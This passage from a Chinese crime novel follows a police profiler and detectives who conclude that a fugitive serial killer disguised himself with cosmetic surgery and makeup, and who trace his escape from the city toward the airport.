“哦,好,我知道了。我先和领导商量一下……”陈薇说着就去洗漱去了。 章弥真微微叹了口气,去厨房准备早餐。现在她这日子过的,感觉每天都很焦虑,明明有很多事想做,却又都做不了,只能被困在这百来平的空间里,实在是太难受了。 待她吃完早饭,差不多也到了七点半了。兽医很准时地发了消息过来:【我到了。】 说完就发了一段视频过来,拍的是数媒中心的地下停车场,B1口的标志很醒目,镜头随即移开,对准了兽医手里提着的猫笼,里面两只小猫还喵喵叫了两声。 章弥真回了个【好,你等下】。然后就给吴岚去了电话: “姐,你到了吗?兽医在等你了。” “到了到了,刚停好车。我先挂了啊,一会儿再和你联系。” 吴岚挂断了电话,推开车门下车,背好挎包,一路小跑地赶去B1口。 老远的,她就看到了一个身材高挑的姑娘站在那里。她披散着长头发,穿了一件防晒服,下身是运动裤配运动鞋。她手里提着一个猫笼,正东张西望。 见到吴岚过来,她扬起笑容,主动打招呼道: “您好,请问是章小姐的同事,对吗?” “对,你就是她们家楼下宠物医院的兽医啊。”吴岚仔细打量着姑娘,她长得挺漂亮,皮肤白皙、大眼睛高鼻梁,就是实在有点瘦了。提着一个大猫笼在手里,感觉她还挺吃力的样子。 吴岚连忙把猫笼接过来,提溜起来看了看里面的两只小猫,确实是视频里拍摄的那两只狸花,看上去很精神、很健康。 “谢谢你,麻烦你一大早跑一趟。” “不麻烦,章小姐都付过钱了。对了,章小姐还买了一些给猫猫的用具,一大包呢,您一个人肯定拿不下了,要不我帮您送上去?”兽医道。 “嗨,这人买那么多猫用具做什么,我手里一大堆,都是现成的。”吴岚嘟囔道。 “那……”兽医小姑娘看上去有些为难。 “好吧,麻烦你了。” “好嘞!”兽医连忙跑回自己的车边,那是一辆白色的金杯小海狮厢式货车,上面有宠物店可爱的logo贴标。她从副驾上取过来一大包宠物玩具和猫罐头、猫条等宠物食品,抱在手里沉甸甸的。 “诶呦,小姑娘,你拿得动吗?要不我帮你拿点?”吴岚问。 “没事没事,您带路吧,您别看我瘦,我拿得动的。”兽医小姑娘说话确实不费劲儿。 吴岚带着她进电梯,先刷工作证,按了5楼的按钮。出电梯后,又刷工作证,开了数媒中心的闸机,才进入了办公B区。最后又刷开了一道人脸识别玻璃门,才进入了章弥真工作室所在的范围。 “天呐,你们这里的门禁好多,进来一趟真不容易。”兽医忍不住感慨道。 “哈哈,媒体是这样的。东西就放在沙发边上吧,辛苦你了。” “不辛苦,工作嘛。”小姑娘放下了包,又凑到猫笼前,和两只小猫打招呼,“阿真、小梓,我走了啊,以后你们就在这里生活了,要好好听话哦。” “喵~~~”两只小猫似是不舍般地叫唤着。 兽医小姑娘和吴岚道别,背着包快速离去。吴岚的心思已经全在小猫身上了,她摩拳擦掌,准备先给俩小只拾掇出一个合适的猫窝来。 她去翻那个包,把里面各种东西翻出来铺了一地。章弥真还买得挺全乎,所有的家伙事儿都一次性购全了。有了这俩小家伙,以后直播带货时抱着在镜头里露露脸,说不定还能接到宠物商家的广告呢,到时候就有免费的产品可以蹭了。 吴岚一边美滋滋地想着,一边忙活着搭建猫窝。她没有留意猫笼内上角,闪过一抹不易察觉的红光。 第68章 第六十八章 谢云卿早上7点多赶到市局,第一时间就去信息处的大数据办公室看秦梓需的情况。开门进去后,一眼就看到秦梓需靠在椅子里,面朝着白板的方向,两腿交叠翘在桌面上,歪着脖子睡得正香。 桌面上铺满了稿纸,上面有大量的画像,有些画得半途而废,有些似乎有所价值,被她用磁铁贴在了白板上。铅笔都被她一夜之间画短了大半截,就剩下个笔头了。垃圾桶里满是画废了的稿纸和削掉的铅笔屑。 秦梓需在白板上的三张画像上标明了身份,从左至右分别是邵彦华、目击者画像和卢康安。她的这个入睡姿态,似乎就是盯着这三张画像看了很久,终于睡着的。 谢云卿十分震撼地立在原地,盯着挂在白板上的三张画像。那栩栩如生的画像面孔,简直要从纸面里探出来似的。 而且她感觉中间那个目击者画像的面孔似乎变了,哪儿变了说不上来,但就是变了,感觉比起之前她看到的那个云南画像师绘制出的画像,这张面孔更具体、更生动,而且似乎和左边的邵彦华、右边的卢康安都产生了某种微妙的相似感。 她盯着看了半晌,久久难言,直到一个略显疲惫的声音在身侧后响起: “谢支,来了怎么不叫醒我?” “哦,你醒了啊。”谢云卿扭头,看见秦梓需已经把翘着的腿放下来了,正弓着背,有些疲惫地用手搓脸。 “嗯,也就睡了半小时。” “你这么拼也太吓人了,脸色都灰白了,赶紧回去补觉吧。”谢云卿皱着眉头道。 “非常时期,不拼不行。不急着休息,我昨晚熬了一个大夜的成果,跟您说一下。”秦梓需站起身,脚步略有些虚浮地走到了白板前。但是她当下因为疲惫,思维有些沉重迟滞,半晌没说出一个字,眼神不住地发直。 谢云卿适时出声问道:“你这个画像我看了一会儿,你的意思是这三个人其实是一个人?” “对,您理解得很对。” 秦梓需花了几秒钟让自己罢工的脑子重新启动,抓起白板下方的黑色水笔,从邵彦华的画像下方牵了一条线指向最右侧的卢康安,在线条上注明四个字:整容微调。 随即又从卢康安照片的上端牵出一条线指向正中央的目击者画像,在线段上标注四个字:特殊化妆。 “邵彦华整容微调,成为了卢康安,卢康安犯案时做了特效化妆,所以成了这个目击者画像中的模样。” “这能做到吗?”谢云卿内心之中感到不可置信。 “绝对可以,我以我十数年的专业生涯担保,通过黑白对比色改变面部光影分布,干扰系统对轮廓的捕捉,可以骗过面部识别系统,且成功率可达98%。使用阴影和高光改变眉骨、鼻梁高度,或通过特效化妆模拟伤疤、皱纹、痘印,可以显著改变面部立体结构,留给人截然不同的印象。” “那既然如此,为什么不是朱新红和杜源,一定是卢康安?” “朱新红是因为体型问题被排除嫌疑的,他的肥胖是实打实的,且脸部的脂肪层特别厚,他没有可能通过化妆遮盖肥胖。且他的身高也够不上凶手的身高,即便穿着增高鞋弥补身高差,也不符合云南凶手穿着挤脚胶鞋留下的脚印。 “杜源的脸型差距太大,从技术上,他的这种尖嘴猴腮的脸型,除非贴人造皮肤去强行增补下颌骨的缺失部分,否则绝对难以和目击者画像相符。但如果做到这一步,动作就太大了,痕迹非常难以遮盖,很容易被人眼识别出不正常、不自然的部分。 “人眼是非常敏锐的,不和谐的东西一眼就能看出来。凶手犯案时,正值云南雨季,他穿着雨衣作案,翻山越岭,在那种潮湿环境里人造皮肤极易脱妆、鼓胀、变形,想要不被识破是不可能的。 “只有卢康安的脸型差距不大,他完全可以只依靠化妆达到目击者画像的水平,现在的防水化妆品可以做到这一点。” 谢云卿问:“他的这种长脸也可以吗?” 秦梓需用自己的脸做示意,解释道:“完全可以。卢康安的长脸并不是非常夸张,只需要沿发际线两侧向太阳穴斜向晕染阴影粉,下颌线处用冷调修容粉从耳垂至下巴轻扫过渡,避免传统颧骨下方大面积涂抹导致脸型更长。 “然后,额头中央用珠光高光纵向提亮缩短上庭,避开鼻头,鼻梁中段轻扫高光,下巴尖用哑光高光横向扩展,颧骨上方用香槟色高光横向延伸。最后再使用灰棕色鼻影粉从眉头三角区向鼻翼延伸,重点加强山根与鼻头连接处,鼻尖下方轻点阴影提升立体感,使中庭视觉缩短2-3mm。” 谢云卿扶额,她平时也经常化妆,但今天居然被向来素面朝天的秦梓需上了一堂化妆课。秦梓需不愧是专业技术人员,她虽然自己不化妆,但却非常懂人脸,也深入研究过化妆技术。 “好吧,那不在场证据呢?”谢云卿道,“卢康安的不在场证据这么扎实,怎么破解?” “这个就要交给专业的监控数据分析师了,我认为医院监控被做了手脚,但这只停留在猜测。”秦梓需道。 “可是护士都说看到他6号、7号出现在医院了。”谢云卿道。 “人眼是会被欺骗的,何况他很可能还有同伙。”秦梓需道。 “秦老师,我说实话,你的这个画像分析确实很专业,但要让我们抓人,实在是不太行。主要是缺乏十分有利的证据,还有没有更决定性的、无法辩驳的证据?”谢云卿直切要害,问出了一个最为重要的问题。 “没有……这只是我依据师傅交给我的所有本领,以及我识别数万张面孔的训练经验所作出的技术判断。我连夜做了一个面部微调的变化示意动画,可以放给你看。”秦梓需道。 “我个人很愿意相信你的判断,但你知道,我们办案必须讲证据,这种推测未免有些缺乏说服力了,很难服众啊。”谢云卿道。 秦梓需蹙眉,据理力争道:“在缺乏关键证据的时候,唯有画像才是最关键的导向。” “你把目击者画像都改了,就是为了匹配上卢康安。还有化妆,我承认化妆是可以做到,但这……我该怎么说服领导这不是缘木求鱼呢?秦老师,我们现在手里缺乏决定性证据,尤其是凶手从未在现场留下DNA,我们就算拿到了卢康安的DNA,也无从比对,更遑论逮捕他了。万一抓错了人呢?” 秦梓需沉默了,她感到前所未有的心累。是啊,做了这么多努力,到头来还是缺乏决定性证据,没有决定性证据,就没办法拿人。 “啊!”秦梓需突然灵光一闪,她一拍脑门,“我居然差点忘了。” 随即她立刻掏出手机打电话,电话很快接通,秦梓需劈头盖脸就道: “邹队,是我,你现在赶紧去找那对母女,问她们要小女孩那天穿的那件花裙子,然后立刻把花裙子送去做检测。……检测胸口、肚子那部分的布料有没有化妆品成分残留,对,立刻、马上、快!” 电话挂断了,秦梓需攥着手机、红着眼对谢云卿道:“一个乡下男人脸上的化妆品蹭到小姑娘衣服上,这总该是实打实的证据了吧。而且化妆品可没那么容易洗掉,虽然这么多天过去了,如果那母亲只是寻常地把衣服丢进洗衣机,用洗衣液去洗,是不能完全洗干净的,一定有残留!他既然化了妆,就说明他对容貌做了修饰,他就有重大嫌疑!” “好好好,我明白了,接下来的事儿交给我,你回去休息吧,你真的累了。”谢云卿安抚道,秦梓需素来情绪控制能力很强,但现在她已经有些失控了,疲劳和焦躁已经占据了她的心神,让她的情绪越来越糟糕。 秦梓需被谢云卿强行送下楼去,临到大门口,她对秦梓需道:“今天赴韩名单上会,然后就要报给部里了,和韩国使领馆对接材料了。你回去睡一觉,醒来应该就能接到通知了。” “谢支……一定要在这个节骨眼上去韩国吗?”秦梓需道。 “啊?要去韩国不是你自己提出来的吗?”谢云卿不解。 “现在情况变了,我只是希望这个日期能稍稍延后一点,至少先控制住卢康安,就这么走了,我会很不放心。”秦梓需道。 “好了,你不要说了,卢康安的事我来处理好吧。我会向领导汇报你的思路和判断,以我将近二十年的经验,我敢说领导九成九不会同意抓人。但你放心,我会派人盯梢卢康安,他有什么动作都在咱们得眼皮子底下,绝对不会出事的。去韩国也是为了找实质性证据,上头都相信你的能力,现在咱们卡在这里,去韩国肯定是越快越好的。”谢云卿道。 秦梓需无奈,只得顺从她的意思。她去了停车场,开了那辆市局给她的车,一路往安全屋开去。半道上突然想起一晚上没给章弥真打电话,于是又立马拨了她电话。 电话很快接通了:“老秦?你一晚上没回来啊。” “马上回来了,正在开车,昨晚熬了个大夜。” “天,真辛苦。你这疲劳驾驶啊,别打电话了,专心开车。” “嗯,我就问一声,安全屋那儿没什么事吧?” “没事,安排保护我的特警陈薇一直在呢,我劝她直接搬过来住了,省得她来回跑。”章弥真道。 “好,那我先挂了。” 秦梓需强打精神开车回了安全屋,一进门,先和陈薇打了个照面。她其实还没见过陈薇,这还是头一回见面。两人寒暄了没几句,章弥真就在旁边催她赶紧洗漱,上床补觉。 秦梓需这些日子以来确实透支得厉害,这会儿疲惫爆发,连眼睛都要睁不开了。她强打着精神冲了个澡,然后倒在床上就昏睡了过去,根本没劲儿吃饭。 章弥真进她房里看了看她,还给她盖了盖被子,将空调调到了合适的温度。看她发青的眼底,章弥真心中不是滋味,她好希能快点抓住凶手,了结这个盘桓在秦梓需心中十八年的梦魇。 她看着秦梓需眉头紧锁的睡颜,猜想她恐怕又堕入噩梦了吧,这一切真像是一场反反复复永不结束的噩梦,到底出口在哪儿呢? 真是奇怪,章弥真一看到秦梓需,突然就又有写作的动力了。她掩上秦梓需的房门,就立刻去了自己的屋里,戴上耳机,播放自己喜欢的音乐,接着继续写她的报告文学。 “那个,我出去一趟啊,买点菜,家里要没东西吃了。”陈薇在外面喊道。 秦梓需睡死了,章弥真戴着耳机,两人压根没听见。陈薇敲了敲章弥真的房门,也没回应,她拧开房门,就看到章弥真戴着耳机对着电脑,十指飞快舞动着,十分专心致志。 陈薇干脆不打搅她了,她给章弥真的内部手机上发了消息告知要去买菜,就换鞋出门。 结果刚走到楼下,章弥真的回信就来了:【那你记得买点莲藕和排骨,我想炖个汤,本来让老秦买的,她现在是根本指望不上了。】 【行。】陈薇回了一个字,随即把手机揣回兜里,便往小区外行去。这小区算是个中高档小区,出入口都需要人脸识别,开车也需要验证车牌照。陈薇来时和保安打过招呼,还专门去物业办了临时的出入门禁卡。 她查看了一下地图,菜市场和超市在靠近东门的方向,从她们所在的8幢走到东门需要穿过整个小区。她在路过小区中央的小广场时,看到了运动器械区,那里有不少正在晨练的大爷大妈。 她还看到了一个熟悉的身影——郭雅洁。这小姑娘正吊在单杠上,似乎也在锻炼。 陈薇顿时来了兴趣,走上前去打招呼:“郭雅洁,你练啥呢?” “吊单杠啊。”小姑娘道。 “你能拉上去吗?”陈薇问。 “拉不动……”小姑娘摇头,“我就吊一会儿,练练抓握的力量,还能长高。” 陈薇笑了,走到她旁边那截更高的单杠下,抬起双手,蹦起抓住,就猛得拉了五个引体向上,随即游刃有余地落下,明显未尽全力。 “哇!你也太厉害了吧。”郭雅洁惊叹道。 “想不想解锁引体向上?可以在体育课上惊艳你们全班人。”陈薇笑道。 “想,你教我啊?” “可以啊,你每天早上都在这里锻炼吗?” “嗯,我7:30-8:00晨练,练速度跑加吊单杠。”郭雅洁道。 “好,那明天还是这个时间,我来带你锻炼。”陈薇拍了拍自己的胸脯,笑道。 第69章 第六十九章 秦梓需不知道自己睡了多久,突然被急促的电话铃声吵醒了。她猛然惊醒,忙接起电话。 “喂?”她声音低沉迟缓,尚未缓过劲儿来。 “秦老师,抱歉打搅你休息了。”是谢云卿的声音,她直入主题,“卢康安不见了。” “什么?!”秦梓需整个人都从床上被拔了起来。 “你今早告诉我卢康安有嫌疑后,我立刻让侦查员直接上门拿人。结果发现他家里人去楼空。领导现在也认可他有重大嫌疑,已经发了通缉令和协查令。” 秦梓需扶额,深吸一口气和缓了一下情绪,语气尽量不带任何责备情绪,道:“你们不是一直盯着嫌疑人吗?他是三个嫌疑人之一啊。” “三个独居的嫌疑人我们都没上门,只是盯梢小区大门。据盯梢的人员说,他们看到卢康安家里的灯亮了,以为一直有人在家的。但现在看来,是定时开关制造的错觉。” “所以之前你们确认他在脑科医院的监控后,就排除了他的嫌疑,没有直接上门当面确认他的行踪,白白耽误了好多天,对吧。”秦梓需终于绷不住情绪了,说话开始很不客气。 “是,本来上头给的要求就是不要打草惊蛇,侦查员只能在远处盯着。人要是一直在家里,侦查员也不能直接上门去确认。而且,这段时间线索太多太杂了,绝大部分人手都被调去查鸿鹄教育了,我们……我也不多说什么了,这确实是重大失误,是我们做得不好。”谢云卿难得说话很颓丧。 秦梓需在房间里来回踱步,浑身冒邪火,一直以来这个人就在眼皮子底下,自己还跟他打过一次照面。然而现在就让他这样跑了,简直是不可饶恕的失误! 但现在冲着谢云卿发火也无济于事,只能尽量弥补,她强压怒火问: “他6号、7号出现在脑科医院住院楼和住宅小区的监控录像是怎么回事?” “技术员查出来所有他在6号、7号出现的监控录像,都是被替换了的早期拍下来的录像,我们都被他高超的黑客手段欺骗了。现在已经确认他5号把他爸送去脑科医院离开后,就没再去过脑科医院,也没有再去过家和公司。等于说他5号离开脑科医院后,就直接藏匿了,随后去云南犯案,潜逃,直至现在。” “那几个说他在医院的护士,再去问过了吗?” “问了,确实如你所说,那几个护士都没有当面和他说过话,只是看到了相似的背影。” “能用天网查到他去哪儿了吗?” 谢云卿道:“正在用天网全域排查,这人有很强的反侦察能力。他在脑科医院附近的路段停了一辆老款帕萨特,车牌号是东BH324。他驾驶这辆车的监控我们查到了,但在江西路附近的三元里巷断了,那巷子里的监控坏了。” “我马上去三元里巷。”秦梓需开了免提,将手机丢在床上,就揪住自己睡衣T恤的下摆,把衣服脱下来,准备换衣服。 结果一转身,发现章弥真不知何时开了她的房门,正抱着膀子听她讲电话。 她这一脱衣服,霎时光溜溜地和章弥真打了个照面。章弥真慌得大叫一声:“抱歉!”然后带上门落荒而逃。 “怎么了?”电话里传来了谢云卿迷惑的询问声。 秦梓需:“……” 她换好衣服出来,才知道现在是傍晚时分。顾不上其他,她迅速刷牙洗脸,抓了一个面包就出门了。临出门时,章弥真躲在房里不敢见她,秦梓需只得叮嘱陈薇: “凶手现在确认潜逃了,章弥真处境很危险,你要保护好她,寸步不离。” “放心吧,交给我。”陈薇道。 秦梓需出门了,她咬着面包一边跑一边吃,迅速上了车出发。夜幕里,她的车逆着下班的车流一路疾驰。几口吃完了面包,秦梓需就戴上耳机开始给谢云卿打电话: “谢支,现在是你在天网看监控吗?” “对,我在看,你说。” “我马上去凶手最后出现的三元里巷实地侦查,我们持续保持联系。” “好,我的人也在那一带做排查,需要帮你吗?” “不,我一个人比较快。”秦梓需的话颇为霸气,“你们进卢康安家里采样了吗?” “已经做了初步采样,正在搜检,现场回报,已经确认可以拿到父子俩的DNA和指纹,但没有找到任何疑似犯罪工具的证物。” “那正常,他的犯罪工具应该都在他的秘密据点里。我们要抓他,首先就要找到他的秘密据点。”秦梓需道。 接下来秦梓需维持着通话,但不说话了,她一边开车,一边在心中复盘自己对凶手的侦查过程。 她意识到自己在给凶手做心理画像时,确实有不少偏差的地方。她认为凶手是一个体面的男性,结婚有子,家庭美满,但没想到凶手竟然立的是一个命运悲惨的孝子人设。 但仔细想来,应付一个瘫痪的植物人,比应付老婆孩子两个大活人要轻松许多。完全不用担心植物人能目击、耳闻或将他出卖,也没有谁能从植物人的嘴里问出他的下落。 而秦梓需现在严重怀疑那个瘫痪在床上的老父亲到底是谁,他很可能并不是卢康安的亲生父亲,也可能是被卢康安李代桃僵的这个身份的原主人的父亲。这个只需检测DNA就能查出来。 至于卢康安,也就是邵彦华的亲生父亲邵长生,包括邵长生后娶的妻子梅凝隽、邵彦华同父异母的小妹邵紫涵,这三个人到底在不在国内,也得打个巨大的问号。无疑邵彦华一个人洗白身份后入境,比一家人洗白身份入境要更容易一些,但这也很难说。 如今看来,邵彦华虽然是单独作案,但他的家人很可能是知情人。是否会是协助犯罪不好说,但起码在帮助他藏匿身份这点上,他们做了帮凶。 思及此,她出声询问谢云卿:“谢支,对魏嘉康的侦讯有没有新消息?” 谢云卿立刻回道:“这事儿我正准备和你说,西藏那边问了梅凝隽,魏嘉康的第一反应确实很微妙,他似乎是知道这个人的,但他坚称他不认识梅凝隽,而且持续否认在速联网络打过工。因为扣押24小时已满,西藏那边不得不放了他。但我们一直有在监控他。现在他的车已经开到林芝去了,我们查到他定了机票,大概是打算买机票直接从林芝返回。” “神情微妙……那这个指向性就比较明显了。你们如果能匀出人手,就查一下2000年螺丝拐弯巷几家餐馆、按摩店和足浴店,查查看是否有聘过外来务工的女性,梅凝隽很可能是其中之一,而且还从事过皮肉生意。”秦梓需道。 “好,我知道了。”谢云卿这边通着话,另一边立刻就将任务布置了下去。 而秦梓需一路飞驰,已经到目的地了。她把车靠边停在江西路边,然后下车徒步进入三元里巷。 这是个相当热闹杂乱的小巷子,位于城南,不远处就是胥城的著名景点状元坊。这里近些年突然爆火,成为了网红美食打卡地。不宽的巷子里,两排都是一长溜的霓虹店招,各色美食琳琅满目,香味混杂一起,勾得人食指大动。 正值晚市时分,三元里巷人头攒动,到处是食客。走在这里,连两轮电动车都走不动,更别说汽车了。秦梓需走在其间,美食没对她产生丝毫吸引,她满脑子都在思考凶手为什么要把车开到这里面来,他又该如何摆脱当下无处不在的监控。 “他的车大概是几点开到这里来的?”四周嘈杂,秦梓需不得不扯着嗓子跟电话那头的谢云卿沟通。 “就和现在差不多的时间,晚高峰。我已经在监控里看到你了,你再往前走点,就在前面那个口子上,他的车拐进去了,那里面的监控坏掉了,然后他就消失了。” 秦梓需快步向前,很快就看到了谢云卿指出的那个路口。这个口子看上去就像是个步行街的入口,入口上方横跨的彩虹状霓虹灯牌营造了一种错觉。但实际上里面只是个通往附近小区的狭窄小巷去,且在长约50米的巷子内居然连个路灯都没有,黑乎乎一片,与外界的璀璨霓虹形成了鲜明的灯光差对比。 秦梓需知道,人从光明的地界走入黑暗的地界,下意识就会警惕抗拒,这是生理性的,数十万年演化而来的本能。所以虽然外面人头攒动、摩肩接踵,但一步跨入这个巷子里,就立刻门可罗雀,甚至像是走进了隔音室似的,与外界的噪声音量都不在一个级别。 秦梓需张开双臂,估算了一下巷子的宽度,将将一辆车能过,但很悬,稍有不慎就会刮擦到两侧墙面。实际上,这墙面上确实有很多刮擦痕迹,有些还很新鲜。 秦梓需走过巷子,发现来到了一个住宅小区的后巷,这巷子反倒比刚才那个巷子要宽敞点。且这是个葫芦口,左手侧的路被建筑物堵死了,只有通往右手侧的道路可以出去。贴着住宅小区的围墙还是有几辆私家车停靠的,说明日常也会有车从那个巷子里开进来。 秦梓需在这个小区后巷里转了转,只在后巷与黑暗窄巷形成的丁字路口看到了一个摄像头,应该就是这个摄像头坏了。 虽然左手侧不通,但秦梓需还是去查看了一番。这里是几个餐馆的后厨,确实没有任何空间可以藏匿汽车。既然凶手的车不在这里,就说明他肯定离开了。 于是秦梓需往右手侧的道路行去。住宅区的后巷逐渐扩张,像是张开的喇叭,越来越宽,走到尽头,就来到了个向右拐弯的路口。这拐弯口用施工围挡围出,里面是个施工工地。这里的路面上有不少泥土碎渣,应该是渣土车等工程车辆行驶出来后带出来的泥沙。 由于是工地,这里的监控也不完备,向右拐弯再往前走大概一百来米,才会抵达大马路上,进入监控范围内。这条大马路是鹤鸣路,秦梓需看了一下地图,门牌号应该是276号附近。 “查一下帕萨特进入巷子后的半个小时内,鹤鸣路276号这个路口有没有封闭的厢式大卡车或者拖车驶出,如果有拖车,看拖车板上有没有拉车子,尤其是有没有用布罩住。”秦梓需对谢云卿道。 “好。”谢云卿立刻指挥身边的技术员去查。 秦梓需就在原地等待,大概几分钟后,谢云卿查到了: “真有,一辆厢式大卡车出来了,车牌号河E89751,是外省的车牌号。” “能看到司机的模样吗?” “看不清,太黑了。”谢云卿道。 “追踪这辆车的下落。”秦梓需道。 天网系统快速运算搜索,很快给出结果: “这车当天开到了城西郊的大校场二手车市场去了,抵达时间是晚上的20:09分。后面就没有再开出来。” “大校场……那地方靠近胥城机场啊。”秦梓需道。 “对,很近,也就5公里就进入机场范围了。”谢云卿道。 “派人立刻去二手车市场确认一下,我估计大卡车连带着里面那辆帕萨特都被丢在那里了。他应该是下车后直接离开了二手车市场,快速赶到机场,坐飞机往云南去了。”秦梓需说出了自己的推测。 “他是怎么骗过机场的人脸识别和安检的?我真的无法理解。”谢云卿道。 “他手上有另外一个犯罪时使用的身份,他就是用这个身份购买的机票。他能够用特效化妆使自己接近身份证上的人物,通过动态干扰的手段干扰人脸识别捕捉,而他在安检人员眼里可能就是个皮肤黝黑的帅哥,没什么可疑之处。”秦梓需推测道。 “这种事一般人真的干不了,这家伙……处心积虑,心理素质真不是一般的强,犯罪技能也极其罕见得强悍。”连谢云卿都经不住感叹道。 “排查当晚去云南的航班,应该就快能把他的伪装身份找出来了。我现在就去机场,你查到了航班立刻发给我,我去找航司和安检的人当面确认。” 说完,秦梓需挂断了这个长达一个多小时的电话。此时她内心的焦虑仍然在加强,他知道现在卢康安已经被逼入绝境,他的特效化妆手段顶多只能使用一次,第二次就要露陷了。所以他现在无法出国,只能在国内到处流窜,东躲西藏。即便如此,国内也有很多地方可以供他躲藏。如果让他找到机会,暗中偷渡出国,那就真的再难抓住他了。 而她最担心的是这个人被逼急了,可能会走极端,再次犯案。所以,哪怕当下证据不足,仍然要尽快将他缉拿归案,才算可以安心。 第70章 第七十章 7月20日,周一,晚9:35分,胥城机场一层出发大厅。 秦梓需正坐在一处相对僻静的座位上,她将内部手机充着电揣在口袋里,等待谢云卿的消息。而她攥着自己的智能手机,闭着眼陷入沉思。 她在复盘自己对凶手的心理画像到底哪里出了误判,并推演修正后的画像可能会带来哪些新的推测方向。 犯罪心理学大多数时候是从罪犯的行为模式来总结其心理特征,这一点,在邵彦华的身上还是很明显的。他极度聪明狡猾,且有着病态的自信,认为自己的智商和各种犯罪手段可以碾压现代化的、各种先进设备武装到牙齿的公安。 秦梓需的误判在于她认为邵彦华会组建家庭,有妻子和孩子。这一点是从他抱孩子的手法上推断出来的。如今看来似乎有点武断,会抱孩子不一定就有妻儿。 但秦梓需认为邵彦华应该曾经和女性建立过亲密关系,而且是稳定的亲密关系,因为他犯下的所有案件,至今不曾看到任何性满足的倾向。这在犯罪心理学之中,有几种可能: 一是权力控制型谋杀,这类罪犯通过杀害行为获得对受害者的绝对控制感,而非直接的性满足。其动机可能源于深层的支配欲和施虐倾向。 二是反社会人格障碍的非性动机犯罪。这类罪犯可能因纯粹的利益或情绪驱动实施犯罪。在这个类别里,邵彦华最有可能属于是长期压抑的挫败感(家庭矛盾)转化为对特定群体的攻击,女性成为象征性“替罪羊”。 三是情感隔离与象征性攻击。这类罪犯可能因心理创伤或扭曲的性别观念,将女性作为仇恨对象,有着自卑与过度补偿、“冷暴力”心理机制。成长过程中长期被忽视,导致情感表达障碍,通过极端行为寻求存在感。在这个分类下,部分高智商罪犯表面社会适应良好,但内心存在分裂,通过杀戮释放压抑的自我。 秦梓需至今仍然倾向于邵彦华的犯罪主因属于第三类,他是青少年犯罪,他的家庭难辞其咎。 此外还有第四种可能性,就是强迫性谋杀,这类罪犯会有一些强迫症行为,诸如特定的行为模式、固定的抛尸地点或者收集被害者物品之类的。目前尚未在邵彦华的一系列犯罪中看到这样的倾向,因此可能性较小。 综合分析下来,邵彦华可能是兼有一、二和三种类型的犯罪分子,他的犯罪动因来自于家庭带来的压抑释放,而这个压抑并未涉及到性,又或者更准确地说,可能是性已经得到了释放,但权力与控制欲仍然需要通过极端暴力的谋杀来释放。 从目前来看,他犯下的第一起爆燃案的动因可能就来源于此。后续犯下的杀戮,都是在补救第一次犯罪,他很明确自己的终极目的是脱罪,所以绝不会留下任何生物信息。 秦梓需认为,接下来邵彦华的动向才会真正暴露他的心理。因为不涉及到补救第一次犯罪了,他已经上了警方的通缉名单,不可能再有任何补救的机会。假如他不想着逃出去,反而再犯罪,就证明了秦梓需的猜想——他是出于变态膨胀的自恋驱动,为了彰显权力与控制欲在犯罪。 至于他到底是不是独狼作案,秦梓需觉得也有必要重新进行评估。此前她从心理与人格角度,推测邵彦华不大可能会有同伙。 但从当前的现实角度出发,邵彦华从获知自己的案子被重启调查开始,一直到现在,他一个人完成了犯罪前期准备、易容前往云南、在云南侦查和犯案、从云南逃脱这一系列的高难度犯罪,并且同时,他还在持续不断地对公安系统进行攻击,甚至有余力做出陷害章弥真的事,时间还掐得如此刚刚好。 这当真是一个人能够完成的事吗?打一个不恰当的比喻,这就好似霍去病在塞北追踪匈奴,茫茫大漠根本无从寻找方向,霍去病却好像拥有卫星定位能力似的,能够精确地劈开战争迷雾,找到自己的目标,在合适的时间、地点,精准地找到自己的敌人,快速有效地达成自己的目的,这几乎是神一般的能力。 秦梓需开始严重怀疑他还有至少一名同伙,这个同伙才是一直在持续不断对公安系统进行攻击,并且陷害章弥真的存在,甚至是这个同伙一直在给邵彦华提供情报支撑,才能让他仿佛开了天眼一般行动。 但很可惜,这个同伙简直是迷一样的存在,根本无从查起。 她突然想起了章弥真工作室被陷害的事,据说网警正在反追踪那个盗取内参的黑客。不知道结果如何了,秦梓需想了想,用内部电话给小宋发了个短信:【我想问问东海日报的事,你们查到那个盗取内参的黑客了吗?回复短信即可。】 还没接到小宋的回复,秦梓需攥在手里的自己的智能机突然震动起来,章弥真突然给她发了一张照片,是安全屋的厨房,她拍了一大碗莲藕排骨汤。 秦梓需正迷惑间,章弥真的微信来电就来了。秦梓需忙接起: “喂。” “你现在在哪儿?”章弥真开口就问。 “我在查案。”秦梓需答非所问。 “你今晚回来吗?” “可能不会回来。”秦梓需道,“你们早点睡吧。” “我给你留了一碗莲藕排骨汤,你回来喝点,补一补。” “你咋还突然炖起汤来了?”秦梓需问。 “啊……你果然是忘得一干二净,我是不是跟你说过我想炖汤给我妈喝的。我妈最爱的就是莲藕排骨汤。” “对不起,对不起!我真给忘了。”秦梓需猛然想起章弥真曾发短信嘱托过她去菜市场买莲藕和排骨的。 “我理解,你现在忙得昏天黑地的,都成了夜行生物了。”章弥真吐槽了一句。 “那你给你妈送去了吗?” “我又出不了屋子,是托枚姐用她家的保温壶给我妈送过去了。”说着,她又给秦梓需传了一张照片,是枚姐正提着一个蓝底卡通小狗图案的保温壶冲着镜头笑。 “难为你了。”秦梓需感叹。 “嗨……我能问问案情吗?这两天我都没机会问。” 秦梓需很警惕,道:“不好在微信里说,一会儿我用内部手机给你打电话吧。” “我就是怕给你内部手机打电话占线,耽误你的事,才给你打微信电话的。咱们手机不都安装了安全盾了嘛,这样也不安全吗?”章弥真问。 “小心驶得万年船。” “好吧,那我等你电话。”章弥真无奈。 “嗯,你也别等太晚了,11点后我没给你电话,你就睡吧,我明天找个时间再给你打。”秦梓需道。 章弥真的电话挂断,小宋的回复来了: 【秦老师,我们现在基本可以确认东海日报的黑客就是一直在攻击市局的黑客,我们分析了服务器日志、网络流量记录等,发现这个黑客的攻击入口和操作痕迹和之前捕捉到的攻击市局的黑客重合了,现在我们正尝试诱捕他。】 可算有点进展了,秦梓需吁了口气,面上神情终于放松了些许。 秦梓需一直等、一直等,等到了夜里11点已过,仍然没有等到谢云卿的电话。她有些急了,飞云南的乘客名单有这么难排查吗?难道是目标还不够明确? 要不先去安检哪里问问吧,她心想。 于是迈步往安检方向走去。没想到刚走到到达大厅的中段,竟然撞见刘明城带着一个男子从外面进来了,两人身上都穿着便服,刘明城身后的男子手里还提着个电脑包。 “刘总?”秦梓需吃了一惊。 “诶,正好,秦老师你也在,我们正要去查安检口。这位是航管局的技术人员。” “你好。”秦梓需匆匆打了个招呼,随即转向刘明城,“您怎么亲自过来了?” 